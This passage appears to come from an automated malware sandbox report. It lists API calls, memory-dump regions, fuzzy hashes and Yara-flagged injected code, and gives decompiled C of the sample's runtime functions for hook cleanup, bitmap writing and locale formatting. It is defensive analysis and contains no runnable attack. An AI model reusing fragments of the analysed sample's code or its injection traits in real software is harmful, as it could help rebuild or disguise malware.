CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,00479A4B,?,?,00000001,?,?,?,00477E84,?), ref: 004741CA
GetVersion.KERNEL32(?,00000001,?,?,?,00477E84,?), ref: 004741D9
GetCurrentProcessId.KERNEL32(?,00000001,?,?,?,00477E84,?), ref: 004741F0
OpenProcess.KERNEL32(0010047A,00000000,00000000,?,00000001,?,?,?,00477E84,?), ref: 0047420D
GetLastError.KERNEL32(?,00000001,?,?,?,00477E84,?), ref: 0047422C

Memory Dump Source

Source File: 00000004.00000002.2416059083.0000000000471000.00000020.00000001.sdmp, Offset: 00470000, based on PE: true

Associated: 00000004.00000002.2416051462.0000000000470000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.2416070914.000000000047C000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.2416079374.000000000047D000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.2416087779.000000000047F000.00000002.00000001.sdmp Download File

Similarity

API ID: Process$CreateCurrentErrorEventLastOpenVersion
String ID:
API String ID: 2270775618-0
Opcode ID: a3f313ae2abebbaee90d4023092f60176039b7abf8f5d2140c1e9de6047f31e8
Instruction ID: 615b06da5781ab46b83918b22bc832813a04d347cdda6024fb31364d8c9915a4
Opcode Fuzzy Hash: a3f313ae2abebbaee90d4023092f60176039b7abf8f5d2140c1e9de6047f31e8
Instruction Fuzzy Hash: 8EF0A470A54341DAD7209FB4AD08B753B70BB85781F1084BAF20ED62F2D7748582CB2D

Uniqueness

Uniqueness Score: -1.00%

Function 0234BA24, Relevance: 7.5, APIs: 5, Instructions: 35COMMON

Download Yara Rule

APIs

CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,0235F106,?), ref: 0234BA2C
GetVersion.KERNEL32 ref: 0234BA3B
GetCurrentProcessId.KERNEL32 ref: 0234BA52
OpenProcess.KERNEL32(0010047A,00000000,00000000), ref: 0234BA6F
GetLastError.KERNEL32 ref: 0234BA8E

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: Process$CreateCurrentErrorEventLastOpenVersion
String ID:
API String ID: 2270775618-0
Opcode ID: d201a064be645203e04d621c7ee412df9fc9c9f902a4aeeabd888e5bfa3938e2
Instruction ID: 9407141b42fb817c8603d646b2e0798affd5cdfbf4684741b84cd0fe9495e088
Opcode Fuzzy Hash: d201a064be645203e04d621c7ee412df9fc9c9f902a4aeeabd888e5bfa3938e2
Instruction Fuzzy Hash: 7EF049F0ED0301AAD7208F64AD4DB14BBEEE704B58F50CD96E51AC61C0DB70E065CB24

Uniqueness

Uniqueness Score: -1.00%

Function 0234D803, Relevance: 7.5, APIs: 5, Instructions: 35synchronizationthreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32(02341C81,?,?,00000040), ref: 0234D810
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 0234D820
CloseHandle.KERNEL32(00000000), ref: 0234D829
VirtualFree.KERNEL32(000003E8,00000000,00008000,?,00000000,02341C81,?,?,00000040), ref: 0234D847
VirtualFree.KERNEL32(00002710,00000000,00008000,?,00000000,02341C81,?,?,00000040), ref: 0234D854

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: FreeVirtual$CloseCurrentHandleObjectSingleThreadWait
String ID:
API String ID: 3667519916-0
Opcode ID: b364478dc76aab291f120802623208c0f2e7af992974e66a3729f465f7efa1b7
Instruction ID: 4befd54d46864f8f4be692e6c3e1b1862f95a67ec73bb2be3f5d5459346e1efe
Opcode Fuzzy Hash: b364478dc76aab291f120802623208c0f2e7af992974e66a3729f465f7efa1b7
Instruction Fuzzy Hash: 2BF03AB0A00A04AFD730AA35DC48B2AB7EDEF44B55F108AA9F54292590CB24F859CE20

Uniqueness

Uniqueness Score: -1.00%

Function 003B8A54, Relevance: 7.5, APIs: 5, Instructions: 25
synchronizationthreadCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E003B8A54() {
				void* _t2;
				void* _t5;
				void* _t8;
				struct HHOOK__* _t10;

				if( *0x3dbb34 != 0) {
					_t10 =  *0x3dbb34; // 0x0
					UnhookWindowsHookEx(_t10);
				}
				 *0x3dbb34 = 0;
				if( *0x3dbb38 != 0) {
					_t2 =  *0x3dbb30; // 0x0
					SetEvent(_t2);
					if(GetCurrentThreadId() !=  *0x3dbb2c) {
						_t8 =  *0x3dbb38; // 0x0
						WaitForSingleObject(_t8, 0xffffffff);
					}
					_t5 =  *0x3dbb38; // 0x0
					CloseHandle(_t5);
					 *0x3dbb38 = 0;
					return 0;
				}
				return 0;
			}

0x003b8a5b
0x003b8a5d
0x003b8a63
0x003b8a63
0x003b8a6a
0x003b8a76
0x003b8a78
0x003b8a7e
0x003b8a8e
0x003b8a92
0x003b8a98
0x003b8a98
0x003b8a9d
0x003b8aa3
0x003b8aaa
0x00000000
0x003b8aaa
0x003b8aaf

APIs

UnhookWindowsHookEx.USER32 ref: 003B8A63
SetEvent.KERNEL32(00000000,003BAC4E,00000000,003BAAF2), ref: 003B8A7E
GetCurrentThreadId.KERNEL32(00000000,003BAC4E,00000000,003BAAF2), ref: 003B8A83
WaitForSingleObject.KERNEL32(00000000,000000FF,00000000,003BAC4E,00000000,003BAAF2), ref: 003B8A98
CloseHandle.KERNEL32(00000000), ref: 003B8AA3

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID: CloseCurrentEventHandleHookObjectSingleThreadUnhookWaitWindows
String ID:
API String ID: 2429646606-0
Opcode ID: ba30a0be296f55d87371c14635a55e5b46da38c0c148b68e7141d72cd576fdec
Instruction ID: 2d5e8cc4d4ba70b3f330fb4463f6db10d7c6fc0ac39fd11976697a1164ef03fc
Opcode Fuzzy Hash: ba30a0be296f55d87371c14635a55e5b46da38c0c148b68e7141d72cd576fdec
Instruction Fuzzy Hash: 37F0A5F1902600DAC713FBB8FC8AB55B3ACA704714F120957B100CB3AADBB49480CB21

Uniqueness

Uniqueness Score: -1.00%

Function 003BAEC8, Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 282
COMMON

Download Yara Rule

C-Code - Quality: 84%

			E003BAEC8(char __eax, void* __ebx, void* __edx, void* __edi, void* __esi) {
				char _v8;
				int _v12;
				char _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				struct tagPOINT _v32;
				char _v33;
				intOrPtr _v40;
				char _v44;
				intOrPtr _v48;
				struct HWND__* _v52;
				intOrPtr _v56;
				char _v60;
				struct tagRECT _v76;
				intOrPtr _v80;
				intOrPtr _v84;
				int _v88;
				int _v92;
				intOrPtr _v96;
				char _v100;
				struct tagRECT _v116;
				char _v132;
				intOrPtr _v136;
				char _v140;
				char _v144;
				char _v148;
				struct HWND__* _t130;
				struct HWND__* _t166;
				intOrPtr _t188;
				char _t194;
				intOrPtr _t218;
				intOrPtr _t222;
				void* _t238;
				intOrPtr* _t250;
				intOrPtr _t270;
				intOrPtr _t271;
				intOrPtr _t273;
				intOrPtr _t279;
				intOrPtr* _t306;
				intOrPtr _t307;
				void* _t314;

				_t313 = _t314;
				_push(__ebx);
				_push(__esi);
				_v144 = 0;
				_v148 = 0;
				asm("movsd");
				asm("movsd");
				_v8 = __eax;
				_t270 =  *0x3b0ecc; // 0x3b0ed0
				E00384828( &_v100, _t270);
				_t250 =  &_v8;
				_push(_t314);
				_push(0x3bb24e);
				_push( *[fs:eax]);
				 *[fs:eax] = _t314 + 0xffffff70;
				 *((char*)( *_t250 + 0x58)) = 0;
				if( *((char*)( *_t250 + 0x88)) == 0 ||  *((intOrPtr*)( *_t250 + 0x60)) == 0 || E003B1284() == 0 || E003B88CC(E003C6F7C( &_v16, 1)) !=  *((intOrPtr*)( *_t250 + 0x60))) {
					L23:
					_t130 = _v52;
					__eflags = _t130;
					if(_t130 <= 0) {
						E003BAC30( *_t250);
					} else {
						E003BAA38( *_t250, 0, _t130);
					}
					goto L26;
				} else {
					_v100 =  *((intOrPtr*)( *_t250 + 0x60));
					_v92 = _v16;
					_v88 = _v12;
					_v88 = _v88 + E003BAC68();
					_v84 = E003B7C90();
					_v80 =  *((intOrPtr*)( *_t250 + 0x5c));
					E003C8070( *((intOrPtr*)( *_t250 + 0x60)),  &_v132);
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *_t250 + 0x60)))) + 0x40))();
					_v32.x = 0;
					_v32.y = 0;
					_t306 =  *((intOrPtr*)( *((intOrPtr*)( *_t250 + 0x60)) + 0x30));
					_t320 = _t306;
					if(_t306 == 0) {
						_t307 =  *((intOrPtr*)( *_t250 + 0x60));
						_t279 =  *0x3c4ab8; // 0x3c4b04
						_t166 = E00383288(_t307, _t279);
						__eflags = _t166;
						if(_t166 != 0) {
							__eflags =  *(_t307 + 0x190);
							if( *(_t307 + 0x190) != 0) {
								ClientToScreen( *(_t307 + 0x190),  &_v32);
							}
						}
					} else {
						 *((intOrPtr*)( *_t306 + 0x40))();
					}
					OffsetRect( &_v76, _v32.x - _v24, _v32.y - _v20);
					E003C8214( *((intOrPtr*)( *_t250 + 0x60)),  &_v140,  &_v16);
					_v60 = _v140;
					_v56 = _v136;
					E003B8894( *((intOrPtr*)( *_t250 + 0x60)),  &_v148);
					E003C57F0(_v148,  &_v140,  &_v144, _t320);
					E00383F54( &_v44, _v144);
					_v52 = 0;
					_v48 =  *((intOrPtr*)( *_t250 + 0x74));
					_t188 =  *0x3d9a64; // 0x3c515c
					_v96 = _t188;
					_v40 = 0;
					_v33 = E003C9884( *((intOrPtr*)( *_t250 + 0x60)), 0, 0xb030,  &_v100) == 0;
					if(_v33 != 0 &&  *((short*)( *_t250 + 0x132)) != 0) {
						 *((intOrPtr*)( *_t250 + 0x130))( &_v100);
					}
					if(_v33 == 0 ||  *((intOrPtr*)( *_t250 + 0x60)) == 0) {
						_t194 = 0;
					} else {
						_t194 = 1;
					}
					_t285 =  *_t250;
					 *((char*)( *_t250 + 0x58)) = _t194;
					if( *((char*)( *_t250 + 0x58)) == 0) {
						goto L23;
					} else {
						_t327 = _v44;
						if(_v44 == 0) {
							goto L23;
						}
						E003BADBC(_v96, _t285, _t313);
						 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *_t250 + 0x84)))) + 0x70))();
						 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *_t250 + 0x84)))) + 0xd8))( &_v116, _v40);
						OffsetRect( &_v116, _v92, _v88);
						if(E003832F8( *((intOrPtr*)( *_t250 + 0x84)), _t327) != 0) {
							_t238 = E003BAE1C(_v44, _t250, 0xffc8, _t313) + 5;
							_v116.left = _v116.left - _t238;
							_v116.right = _v116.right - _t238;
						}
						E003C81E8( *((intOrPtr*)( *_t250 + 0x60)),  &_v140,  &_v76);
						_t218 =  *_t250;
						 *((intOrPtr*)(_t218 + 0x64)) = _v140;
						 *((intOrPtr*)(_t218 + 0x68)) = _v136;
						E003C81E8( *((intOrPtr*)( *_t250 + 0x60)),  &_v140,  &(_v76.right));
						_t222 =  *_t250;
						 *((intOrPtr*)(_t222 + 0x6c)) = _v140;
						 *((intOrPtr*)(_t222 + 0x70)) = _v136;
						E003C8870( *((intOrPtr*)( *_t250 + 0x84)), _v80);
						 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *_t250 + 0x84)))) + 0xd4))(_v40);
						E003B89E0(_v44);
						_t231 = _v52;
						if(_v52 <= 0) {
							E003BAA38( *_t250, 1, _v48);
						} else {
							E003BAA38( *_t250, 0, _t231);
						}
						L26:
						_pop(_t271);
						 *[fs:eax] = _t271;
						_push(0x3bb255);
						E00383EE0( &_v148, 2);
						_t273 =  *0x3b0ecc; // 0x3b0ed0
						return E003848EC( &_v100, _t273);
					}
				}
			}

0x003baec9
0x003baed1
0x003baed2
0x003baed6
0x003baedc
0x003baee7
0x003baee8
0x003baee9
0x003baeef
0x003baef5
0x003baefa
0x003baeff
0x003baf00
0x003baf05
0x003baf08
0x003baf0d
0x003baf1a
0x003bb207
0x003bb207
0x003bb20a
0x003bb20c
0x003bb21d
0x003bb20e
0x003bb214
0x003bb214
0x00000000
0x003baf53
0x003baf58
0x003baf5e
0x003baf64
0x003baf6c
0x003baf79
0x003baf81
0x003baf8c
0x003baf97
0x003baf98
0x003baf99
0x003baf9a
0x003bafa5
0x003bafaa
0x003bafaf
0x003bafb7
0x003bafba
0x003bafbc
0x003bafcc
0x003bafd1
0x003bafd7
0x003bafdc
0x003bafde
0x003bafe0
0x003bafe7
0x003baff4
0x003baff4
0x003bafe7
0x003bafbe
0x003bafc5
0x003bafc5
0x003bb00b
0x003bb01e
0x003bb029
0x003bb032
0x003bb040
0x003bb051
0x003bb05f
0x003bb066
0x003bb06e
0x003bb071
0x003bb076
0x003bb07b
0x003bb095
0x003bb09d
0x003bb0bd
0x003bb0bd
0x003bb0c7
0x003bb0d1
0x003bb0d5
0x003bb0d5
0x003bb0d5
0x003bb0d7
0x003bb0d9
0x003bb0e2
0x00000000
0x003bb0e8
0x003bb0e8
0x003bb0ec
0x00000000
0x00000000
0x003bb0f6
0x003bb10e
0x003bb129
0x003bb13b
0x003bb153
0x003bb15f
0x003bb162
0x003bb165
0x003bb165
0x003bb176
0x003bb17b
0x003bb183
0x003bb18c
0x003bb19d
0x003bb1a2
0x003bb1aa
0x003bb1b3
0x003bb1c1
0x003bb1da
0x003bb1e0
0x003bb1e5
0x003bb1ea
0x003bb200
0x003bb1ec
0x003bb1f2
0x003bb1f2
0x003bb222
0x003bb224
0x003bb227
0x003bb22a
0x003bb23a
0x003bb242
0x003bb24d
0x003bb24d
0x003bb0e2

APIs

Part of subcall function 003B1284: GetActiveWindow.USER32 ref: 003B1287
Part of subcall function 003B1284: GetCurrentThreadId.KERNEL32(Function_00031264), ref: 003B129C
Part of subcall function 003B1284: EnumThreadWindows.USER32 ref: 003B12A2

Part of subcall function 003BAC68: GetCursor.USER32 ref: 003BAC83
Part of subcall function 003BAC68: GetIconInfo.USER32 ref: 003BAC89

ClientToScreen.USER32(?,?), ref: 003BAFF4
OffsetRect.USER32 ref: 003BB00B
OffsetRect.USER32 ref: 003BB13B

Part of subcall function 003BAA38: SetTimer.USER32(00000000,00000000,?,003B88EC), ref: 003BAA52

Strings

\Q<, xrefs: 003BB071

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID: OffsetRectThread$ActiveClientCurrentCursorEnumIconInfoScreenTimerWindowWindows
String ID: \Q<
API String ID: 2591747986-371727956
Opcode ID: 69b2560db323a17ee49486ab224b74ad6aa7f8dd445d32f420c95d2ab595580c
Instruction ID: 0891154ba8796ffe705f68da84709641ba239bc1ef466a894e93711cac5afcc5
Opcode Fuzzy Hash: 69b2560db323a17ee49486ab224b74ad6aa7f8dd445d32f420c95d2ab595580c
Instruction Fuzzy Hash: 40C1E235A006188FCB12EFA8C885ADEB7F5BF09304F1545A9EA04EB725DB70AD49CF51

Uniqueness

Uniqueness Score: -1.00%

Function 003A4384, Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 205
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E003A4384(void* __eax, signed int __ecx, intOrPtr* __edx, void* __eflags) {
				void* __ebp;
				signed int _t93;
				void* _t108;
				signed int _t114;
				void* _t125;
				signed int _t140;
				signed int _t146;
				signed int _t160;
				intOrPtr _t197;
				intOrPtr* _t203;
				void* _t204;
				intOrPtr* _t205;
				intOrPtr _t206;
				signed int* _t207;

				_t160 = __ecx;
				_t203 = __edx;
				_t204 = __eax;
				E00382B10( &(_t207[4]), 0xe);
				_t207[4] = 0x4d42;
				_t205 =  *((intOrPtr*)( *((intOrPtr*)(_t204 + 0x28)) + 0x6c));
				if(_t205 != 0) {
					 *_t207 =  *((intOrPtr*)( *_t205))();
					if(_t160 != 0) {
						E00398DD8(__edx, 4, _t207);
					}
					 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t204 + 0x28)) + 0x6c))))))();
					return  *((intOrPtr*)( *_t203 + 0x10))();
				}
				E003A35A0(_t204, 0xe);
				_t206 =  *((intOrPtr*)(_t204 + 0x28));
				 *_t207 = 0;
				_t93 =  *(_t206 + 0x14);
				__eflags = _t93;
				if(__eflags != 0) {
					 *_t207 =  *_t207 + _t207[2] + 0xe;
					E00382B10( &(_t207[4]), 0xe);
					_t207[4] = 0x4d42;
					_t125 = E003A3464(_t204);
					_t197 =  *0x3a4638; // 0x1
					E003A0878(_t125, 0, _t197);
					_t207[3] = E003A0B90(SelectObject( *( *((intOrPtr*)(_t204 + 0x2c)) + 4),  *(_t206 + 0x14)));
					_t207[1] = GetDIBColorTable( *( *((intOrPtr*)(_t204 + 0x2c)) + 4), 0, 0x100,  &(_t207[0xa]));
					SelectObject( *( *((intOrPtr*)(_t204 + 0x2c)) + 4), _t207[3]);
					_t140 =  *(_t206 + 0x50);
					__eflags = _t140;
					if(_t140 > 0) {
						__eflags = _t140 - _t207[1];
						if(_t140 < _t207[1]) {
							_t207[1] = _t140;
						}
					}
					__eflags =  *((char*)(_t206 + 0x70));
					if( *((char*)(_t206 + 0x70)) == 0) {
						__eflags = _t207[1];
						if(_t207[1] == 0) {
							__eflags =  *(_t206 + 0x10);
							if( *(_t206 + 0x10) != 0) {
								__eflags =  *((char*)(_t206 + 0x71));
								if( *((char*)(_t206 + 0x71)) == 0) {
									_t207[1] = E003A1324( *(_t206 + 0x10), 0xff,  &(_t207[0xa]));
									__eflags =  *((short*)(_t206 + 0x3e)) - 8;
									if( *((short*)(_t206 + 0x3e)) > 8) {
										_t146 = _t207[1] << 2;
										 *_t207 =  *_t207 + _t146;
										_t47 =  &(_t207[2]);
										 *_t47 = _t207[2] + _t146;
										__eflags =  *_t47;
									}
								}
							}
						}
					}
					_t207[4] =  *_t207;
					_t93 = _t207[2] + 0xe;
					__eflags = _t93;
					_t207[6] = _t93;
				}
				__eflags = _t160;
				if(_t160 != 0) {
					_t93 = E00398DD8(_t203, 4, _t207);
				}
				__eflags =  *_t207;
				if( *_t207 == 0) {
					return _t93;
				} else {
					E003A257C(_t206 + 0x18);
					__eflags = _t207[1];
					if(_t207[1] == 0) {
						L27:
						__eflags =  *((char*)(_t206 + 0x70));
						if( *((char*)(_t206 + 0x70)) == 0) {
							E00398DD8(_t203, 0xe,  &(_t207[4]));
							E00398DD8(_t203, 0x28, _t206 + 0x30);
							__eflags =  *((short*)(_t206 + 0x3e)) - 8;
							if( *((short*)(_t206 + 0x3e)) > 8) {
								__eflags =  *(_t206 + 0x40) & 0x00000003;
								if(( *(_t206 + 0x40) & 0x00000003) != 0) {
									E00398DD8(_t203, 0xc, _t206 + 0x58);
								}
							}
						} else {
							_t108 = _t206 + 0x30;
							_t207[7] = 0xc;
							_t207[8] =  *((intOrPtr*)(_t108 + 4));
							_t207[9] =  *((intOrPtr*)(_t108 + 8));
							_t207[9] = 1;
							_t207[0xa].rgbBlue =  *((intOrPtr*)(_t108 + 0xe));
							E00398DD8(_t203, 0xe,  &(_t207[4]));
							E00398DD8(_t203, 0xc,  &(_t207[7]));
						}
						__eflags = 0 * _t207[1];
						E00398DD8(_t203, 0 * _t207[1],  &(_t207[0xa]));
						return E00398DD8(_t203,  *((intOrPtr*)(_t206 + 0x44)),  *((intOrPtr*)(_t206 + 0x2c)));
					}
					_t114 =  *(_t206 + 0x50);
					__eflags = _t114;
					if(_t114 == 0) {
						L24:
						 *(_t206 + 0x50) = _t207[1];
						L25:
						__eflags =  *((char*)(_t206 + 0x70));
						if( *((char*)(_t206 + 0x70)) != 0) {
							E003A1000( &(_t207[0xa]),  &(_t207[1]));
						}
						goto L27;
					}
					__eflags = _t114 - _t207[1];
					if(_t114 == _t207[1]) {
						goto L25;
					}
					goto L24;
				}
			}

0x003a438e
0x003a4390
0x003a4392
0x003a439f
0x003a43a4
0x003a43ae
0x003a43b3
0x003a43bb
0x003a43c0
0x003a43cb
0x003a43cb
0x003a43da
0x00000000
0x003a43e5
0x003a43ef
0x003a43f4
0x003a43f9
0x003a43fc
0x003a43ff
0x003a4401
0x003a4447
0x003a4455
0x003a445a
0x003a4463
0x003a4468
0x003a446e
0x003a4488
0x003a44a4
0x003a44b4
0x003a44b9
0x003a44bc
0x003a44be
0x003a44c0
0x003a44c4
0x003a44c6
0x003a44c6
0x003a44c4
0x003a44ca
0x003a44ce
0x003a44d0
0x003a44d5
0x003a44d7
0x003a44db
0x003a44dd
0x003a44e1
0x003a44f4
0x003a44f8
0x003a44fd
0x003a4503
0x003a4506
0x003a4509
0x003a4509
0x003a4509
0x003a4509
0x003a44fd
0x003a44e1
0x003a44db
0x003a44d5
0x003a4510
0x003a4518
0x003a4518
0x003a451b
0x003a451b
0x003a451f
0x003a4521
0x003a452c
0x003a452c
0x003a4531
0x003a4535
0x003a4635
0x003a453b
0x003a453e
0x003a4543
0x003a4548
0x003a4571
0x003a4571
0x003a4575
0x003a45d1
0x003a45e0
0x003a45e5
0x003a45ea
0x003a45ec
0x003a45f0
0x003a45fc
0x003a45fc
0x003a45f0
0x003a4577
0x003a4577
0x003a457a
0x003a4586
0x003a458f
0x003a4594
0x003a459f
0x003a45af
0x003a45bf
0x003a45bf
0x003a460e
0x003a4619
0x00000000
0x003a4626
0x003a454a
0x003a454d
0x003a454f
0x003a4557
0x003a455b
0x003a455e
0x003a455e
0x003a4562
0x003a456c
0x003a456c
0x00000000
0x003a4562
0x003a4551
0x003a4555
0x00000000
0x00000000
0x00000000
0x003a4555

APIs

SelectObject.GDI32(?,?), ref: 003A447E
GetDIBColorTable.GDI32(?,00000000,00000100,?), ref: 003A449F
SelectObject.GDI32(?,?), ref: 003A44B4

Strings

BM, xrefs: 003A445A

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID: ObjectSelect$ColorTable
String ID: BM
API String ID: 2377976745-2348483157
Opcode ID: f4eb01fed88a8418355b2e13cd20b2cd99d208bcfd737567a0a26f8a5bbd7770
Instruction ID: 5e478a81013a8f300b605f7a48de26c3e4b71d38fb0b312e3ce83c9e9f713572
Opcode Fuzzy Hash: f4eb01fed88a8418355b2e13cd20b2cd99d208bcfd737567a0a26f8a5bbd7770
Instruction Fuzzy Hash: EA814B746043459FCB16EF28C484BAEB7E1EFCA304F058919F8898B391EBB4D945CB42

Uniqueness

Uniqueness Score: -1.00%

Function 0235201D, Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 185memoryCOMMON

Download Yara Rule

APIs

memcpy.NTDLL(?,HTTP/1.1 404 Not Found,0000001A), ref: 02352100
HeapFree.KERNEL32(00000000,?,00000000), ref: 02352172
RtlAllocateHeap.NTDLL(00000000,?,00000000), ref: 02352183

Part of subcall function 0235D0F7: RtlLeaveCriticalSection.NTDLL(00000000), ref: 0235D174

Strings

HTTP/1.1 404 Not Found, xrefs: 023520F8

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: Heap$AllocateCriticalFreeLeaveSectionmemcpy
String ID: HTTP/1.1 404 Not Found
API String ID: 4231733408-2072751538
Opcode ID: 96bcb90a29b76e85e64a928fb0e04fb91cc0ead1a8c32156b5284e2d315cfc6c
Instruction ID: b92f1eb4db3eae8db516d289ca19dd28e36696d1af93035f6c73ec09c17b458d
Opcode Fuzzy Hash: 96bcb90a29b76e85e64a928fb0e04fb91cc0ead1a8c32156b5284e2d315cfc6c
Instruction Fuzzy Hash: F9615171600616FFDB219F69C980FABB7A6FF08744F504428EE0997A51E771EA22CF50

Uniqueness

Uniqueness Score: -1.00%

Function 0038B134, Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 148
threadCOMMON

Download Yara Rule

C-Code - Quality: 82%

			E0038B134(void* __eax, void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _v8;
				char _v12;
				intOrPtr _v16;
				char _v20;
				char _v24;
				void* _t41;
				signed int _t45;
				signed int _t47;
				signed int _t49;
				signed int _t51;
				intOrPtr _t75;
				void* _t76;
				signed int _t77;
				signed int _t83;
				signed int _t92;
				intOrPtr _t111;
				void* _t122;
				void* _t124;
				intOrPtr _t127;
				void* _t128;

				_t128 = __eflags;
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				_t122 = __edx;
				_t124 = __eax;
				_push(_t127);
				_push(0x38b2fe);
				_push( *[fs:eax]);
				 *[fs:eax] = _t127;
				_t92 = 1;
				E00383EBC(__edx);
				E0038ADFC(GetThreadLocale(), 0x38b314, 0x1009,  &_v12);
				if(E003881AC(0x38b314, 1, _t128) + 0xfffffffd - 3 < 0) {
					while(1) {
						_t41 = E0038417C(_t124);
						__eflags = _t92 - _t41;
						if(_t92 > _t41) {
							goto L28;
						}
						__eflags =  *(_t124 + _t92 - 1) & 0x000000ff;
						asm("bt [0x3d911c], eax");
						if(( *(_t124 + _t92 - 1) & 0x000000ff) >= 0) {
							_t45 = E0038877C(_t124 + _t92 - 1, 2, 0x38b318);
							__eflags = _t45;
							if(_t45 != 0) {
								_t47 = E0038877C(_t124 + _t92 - 1, 4, 0x38b328);
								__eflags = _t47;
								if(_t47 != 0) {
									_t49 = E0038877C(_t124 + _t92 - 1, 2, 0x38b340);
									__eflags = _t49;
									if(_t49 != 0) {
										_t51 =  *(_t124 + _t92 - 1) - 0x59;
										__eflags = _t51;
										if(_t51 == 0) {
											L24:
											E00384184(_t122, 0x38b358);
										} else {
											__eflags = _t51 != 0x20;
											if(_t51 != 0x20) {
												E003840A4();
												E00384184(_t122, _v24);
											} else {
												goto L24;
											}
										}
									} else {
										E00384184(_t122, 0x38b34c);
										_t92 = _t92 + 1;
									}
								} else {
									E00384184(_t122, 0x38b338);
									_t92 = _t92 + 3;
								}
							} else {
								E00384184(_t122, 0x38b324);
								_t92 = _t92 + 1;
							}
							_t92 = _t92 + 1;
							__eflags = _t92;
						} else {
							_v8 = E0038C1F8(_t124, _t92);
							E003843DC(_t124, _v8, _t92,  &_v20);
							E00384184(_t122, _v20);
							_t92 = _t92 + _v8;
						}
					}
				} else {
					_t75 =  *0x3db748; // 0x9
					_t76 = _t75 - 4;
					if(_t76 == 0 || _t76 + 0xfffffff3 - 2 < 0) {
						_t77 = 1;
					} else {
						_t77 = 0;
					}
					if(_t77 == 0) {
						E00383F10(_t122, _t124);
					} else {
						while(_t92 <= E0038417C(_t124)) {
							_t83 =  *(_t124 + _t92 - 1) - 0x47;
							__eflags = _t83;
							if(_t83 != 0) {
								__eflags = _t83 != 0x20;
								if(_t83 != 0x20) {
									E003840A4();
									E00384184(_t122, _v16);
								}
							}
							_t92 = _t92 + 1;
							__eflags = _t92;
						}
					}
				}
				L28:
				_pop(_t111);
				 *[fs:eax] = _t111;
				_push(E0038B305);
				return E00383EE0( &_v24, 4);
			}

0x0038b134
0x0038b139
0x0038b13a
0x0038b13b
0x0038b13c
0x0038b13d
0x0038b141
0x0038b143
0x0038b147
0x0038b148
0x0038b14d
0x0038b150
0x0038b153
0x0038b15a
0x0038b172
0x0038b18a
0x0038b2d4
0x0038b2d6
0x0038b2db
0x0038b2dd
0x00000000
0x00000000
0x0038b1f3
0x0038b1f8
0x0038b1ff
0x0038b23d
0x0038b242
0x0038b244
0x0038b263
0x0038b268
0x0038b26a
0x0038b28b
0x0038b290
0x0038b292
0x0038b2a7
0x0038b2a7
0x0038b2a9
0x0038b2af
0x0038b2b6
0x0038b2ab
0x0038b2ab
0x0038b2ad
0x0038b2c4
0x0038b2ce
0x00000000
0x00000000
0x00000000
0x0038b2ad
0x0038b294
0x0038b29b
0x0038b2a0
0x0038b2a0
0x0038b26c
0x0038b273
0x0038b278
0x0038b278
0x0038b246
0x0038b24d
0x0038b252
0x0038b252
0x0038b2d3
0x0038b2d3
0x0038b201
0x0038b20a
0x0038b218
0x0038b222
0x0038b227
0x0038b227
0x0038b1ff
0x0038b190
0x0038b190
0x0038b195
0x0038b198
0x0038b1a6
0x0038b1a2
0x0038b1a2
0x0038b1a2
0x0038b1aa
0x0038b1e5
0x0038b1ac
0x0038b1d1
0x0038b1b2
0x0038b1b2
0x0038b1b4
0x0038b1b6
0x0038b1b8
0x0038b1c1
0x0038b1cb
0x0038b1cb
0x0038b1b8
0x0038b1d0
0x0038b1d0
0x0038b1d0
0x0038b1dc
0x0038b1aa
0x0038b2e3
0x0038b2e5
0x0038b2e8
0x0038b2eb
0x0038b2fd

APIs

